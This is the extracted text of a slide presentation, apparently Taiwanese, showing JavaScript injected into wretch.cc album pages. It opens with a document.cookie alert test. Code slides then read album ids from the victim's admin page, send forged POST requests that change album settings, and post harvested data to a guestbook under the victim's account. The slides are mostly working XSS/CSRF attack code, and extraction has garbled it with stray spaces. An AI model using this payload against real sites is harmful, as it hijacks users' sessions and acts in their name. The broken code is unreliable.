Javascript Javascript alert document cookie id brequest onreadystatechange

  • Slides: 25
Download presentation

嵌入 Javascript

嵌入 Javascript

測試 Javascript alert ( document. cookie);

測試 Javascript alert ( document. cookie);

部份程式碼 ( 取得相簿id ): brequest. onreadystatechange = parse. Book; brequest. open('GET', 'http: //www. wretch.

部份程式碼 ( 取得相簿id ): brequest. onreadystatechange = parse. Book; brequest. open('GET', 'http: //www. wretch. cc/album/modify. php? admin_home=1', false); var all = brequest. response. Text; var reg = /option value="d+? ">/ig; if (all!=null) a = all. match(reg); if (a == null) return; var alen = a. length; for (var i= 0; i<alen; i++){ a[i] = a[i]. replace(/option value=|[>"]/g, "") }

部份程式碼 (發送xml. Http. Request): var fstr = "%E 7%B 7%A 8%E 8%BC%AF%E 7%9 B%B

部份程式碼 (發送xml. Http. Request): var fstr = "%E 7%B 7%A 8%E 8%BC%AF%E 7%9 B%B 8%E 7%B 0%BF"; var send. Str = "cid=0&page=0&. c=Uyofth. X 32 jh&. t=1196105110"; send. Str += “&func_mod=”+fstr + bstr; request. onreadystatechange = ready; request. open('POST', 'http: //www. wretch. cc/album/func_home. php', false); request. set. Request. Header("Content-Type", "application/x-www-form-urlencoded"); request. send(send. Str);

部份程式碼 (留言): var str = ""; for (var i=0; i<len; i++){ str += all[i]

部份程式碼 (留言): var str = ""; for (var i=0; i<len; i++){ str += all[i] +"%0 D%0 A"; } var sendstr = “. c=FKIBhh. C 9 SN 4&. t=1196398126&userid=My. ID"; sendstr += “&used_name=sess_name&sess_name=My. ID"; sendstr += "&email=&url=&rem=true&is. Cloak=true&title=Test&content=" + str; sendstr += "&leavemsg=%E 7%95%99%E 8%A 8%80"; srequest. onreadystatechange = last. P; srequest. open('POST', 'http: //www. wretch. cc/guestbook/func_guestbook. php', true); srequest. set. Request. Header("Content-Type", "application/x-www-form-urlencoded"); srequest. send(sendstr);

The End

The End